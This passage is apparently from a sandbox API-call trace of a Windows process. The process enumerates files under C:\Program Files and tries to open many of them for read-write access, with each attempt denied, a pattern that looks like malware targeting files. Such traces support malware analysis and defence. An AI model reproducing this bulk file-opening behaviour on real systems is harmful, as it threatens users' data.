ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0180.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0180.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0180.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0180.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.389] GetLastError () returned 0x5 [0180.389] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0180.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.389] GetLastError () returned 0x5 [0180.390] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0180.390] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0180.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.390] GetLastError () returned 0x5 [0180.390] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0180.390] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0180.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.390] GetLastError () returned 0x5 [0180.390] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0180.390] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0180.390] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0180.390] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.390] GetProcessHeap () returned 0x990000 [0180.390] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.390] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0180.390] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0180.391] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0180.391] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0180.391] GetProcessHeap () returned 0x990000 [0180.391] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0180.391] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0 [0180.391] FindClose (in: hFindFile=0x9b65a8 | out: hFindFile=0x9b65a8) returned 1 [0180.391] GetProcessHeap () returned 0x990000 [0180.391] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc608 | out: hHeap=0x990000) returned 1 [0180.391] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0180.391] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb00b200, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb00b200, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0180.391] GetProcessHeap () returned 0x990000 [0180.391] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x46) returned 0x9b0b70 [0180.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb00b200, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb00b200, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0180.393] GetProcessHeap () returned 0x990000 [0180.394] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0b70 | out: hHeap=0x990000) returned 1 [0180.394] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb00b200, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb00b200, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.394] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0180.394] GetProcessHeap () returned 0x990000 [0180.394] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x248) returned 0x9f9760 [0180.394] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.395] GetLastError () returned 0x5 [0180.395] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db36d00, ftCreationTime.dwHighDateTime=0x1d57e71, ftLastAccessTime.dwLowDateTime=0x4cec9800, ftLastAccessTime.dwHighDateTime=0x1d5be07, ftLastWriteTime.dwLowDateTime=0x4cec9800, ftLastWriteTime.dwHighDateTime=0x1d5be07, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="awardindicatesides.exe", cAlternateFileName="AWARDI~1.EXE")) returned 1 [0180.395] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0180.395] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.396] GetLastError () returned 0x5 [0180.396] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x945fff90, ftCreationTime.dwHighDateTime=0x1d56e86, ftLastAccessTime.dwLowDateTime=0x53348e70, ftLastAccessTime.dwHighDateTime=0x1d563a3, ftLastWriteTime.dwLowDateTime=0x53348e70, ftLastWriteTime.dwHighDateTime=0x1d563a3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="concerning.exe", cAlternateFileName="CONCER~1.EXE")) returned 1 [0180.396] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab38af0, ftCreationTime.dwHighDateTime=0x1d590cf, ftLastAccessTime.dwLowDateTime=0xe2bb4780, ftLastAccessTime.dwHighDateTime=0x1d5a9a5, ftLastWriteTime.dwLowDateTime=0xe2bb4780, ftLastWriteTime.dwHighDateTime=0x1d5a9a5, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="coordinate-indiana-hungarian.exe", cAlternateFileName="COORDI~1.EXE")) returned 1 [0180.396] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0180.396] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.396] GetLastError () returned 0x5 [0180.396] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0180.396] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0180.396] GetProcessHeap () returned 0x990000 [0180.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x52) returned 0x9e3770 [0180.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0180.397] GetProcessHeap () returned 0x990000 [0180.397] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3770 | out: hHeap=0x990000) returned 1 [0180.397] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.397] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0180.397] GetProcessHeap () returned 0x990000 [0180.397] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x254) returned 0x9b1eb0 [0180.397] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.398] GetLastError () returned 0x5 [0180.398] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0180.398] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.400] GetLastError () returned 0x5 [0180.400] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0180.400] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.401] GetLastError () returned 0x5 [0180.401] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0180.401] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0180.401] GetProcessHeap () returned 0x990000 [0180.402] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.402] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0180.402] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.403] GetLastError () returned 0x5 [0180.403] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0180.403] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.404] GetLastError () returned 0x5 [0180.404] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, 